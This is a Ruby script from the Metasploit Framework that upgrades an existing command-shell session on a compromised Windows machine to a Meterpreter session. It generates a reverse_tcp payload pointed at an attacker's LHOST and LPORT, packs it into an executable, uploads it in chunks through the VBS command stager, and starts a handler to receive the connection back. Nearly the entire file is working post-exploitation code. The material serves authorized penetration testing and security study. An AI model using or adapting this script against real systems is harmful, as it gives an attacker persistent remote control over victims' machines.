metasploit-framework/scripts/shell/spawn_meterpreter.rb

156 lines
3.9 KiB
Ruby

#
# Spawn a meterpreter session using an existing command shell session
#
# NOTE: Some of the following code is duplicated from the VBS CmdStager
#
# This is really only to prove the concept for now.
#
# -jduck
#
#
# Show the progress of the upload
#
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
end
raise RuntimeError, "You must select a session." if (not session)
raise RuntimeError, "Selected session is not a command shell session!" if (session.type != "shell")
# Check for required datastore options
if (not session.exploit_datastore['LHOST'] or not session.exploit_datastore['LPORT'])
raise RuntimeError, "You must set LPORT and LHOST for this script to work."
end
lhost = session.exploit_datastore['LHOST']
lport = session.exploit_datastore['LPORT']
# maybe we want our sessions going to another instance?
use_handler = true
use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true)
# Process special var/val pairs...
# XXX: Not supported yet...
#Msf::Ui::Common.process_cli_arguments($framework, ARGV)
# Create the payload instance
payload_name = 'windows/meterpreter/reverse_tcp'
payload = framework.payloads.create(payload_name)
options = "LHOST=#{lhost} LPORT=#{lport}"
buf = payload.generate_simple('OptionStr' => options)
#
# Spawn the handler if needed
#
aborted = false
begin
mh = nil
if (use_handler)
mh = framework.modules.create("exploit/multi/handler")
mh.datastore['LPORT'] = lport
mh.datastore['LHOST'] = lhost
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['ExitOnSession'] = false
mh.datastore['EXITFUNC'] = 'process'
mh.exploit_simple(
'LocalInput' => session.user_input,
'LocalOutput' => session.user_output,
'Payload' => payload_name,
'RunAsJob' => true)
# It takes a little time for the resources to get set up, so sleep for
# a bit to make sure the exploit is fully working. Without this,
# mod.get_resource doesn't exist when we need it.
select(nil, nil, nil, 0.5)
if framework.jobs[mh.job_id.to_s].nil?
raise RuntimeError, "Failed to start multi/handler - is it already running?"
end
end
#
# Make the payload into an exe for the CmdStager
#
lplat = [Msf::Platform::Windows]
larch = [ARCH_X86]
linemax = 1700
if (session.exploit_datastore['LineMax'])
linemax = session.exploit_datastore['LineMax'].to_i
end
opts = {
:linemax => linemax,
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"),
#:nodelete => true # keep temp files (for debugging)
}
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf)
#
# Generate the stager command array
#
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
cmds = cmdstager.generate(opts)
if (cmds.nil? or cmds.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
#
# Calculate the total size
#
total_bytes = 0
cmds.each { |cmd| total_bytes += cmd.length }
#
# Run the commands one at a time
#
sent = 0
cmds.each { |cmd|
ret = session.shell_command_token_win32(cmd)
if (not ret)
aborted = true
else
ret.strip!
if (not ret.empty?)
aborted = true
end
end
if aborted
print_error("Error: Unable to execute the following command:")
print_error(cmd.inspect)
print_error('Output: ' + ret.inspect) if ret and not ret.empty?
break
end
sent += cmd.length
progress(total_bytes, sent)
}
rescue ::Interrupt
# TODO: cleanup partial uploads!
aborted = true
rescue => e
print_error("Error: #{e}")
aborted = true
end
#
# Stop the job
#
if (use_handler)
Thread.new do
if not aborted
# Wait up to 10 seconds for the session to come in..
select(nil, nil, nil, 10)
end
framework.jobs.stop_job(mh.job_id)
end
end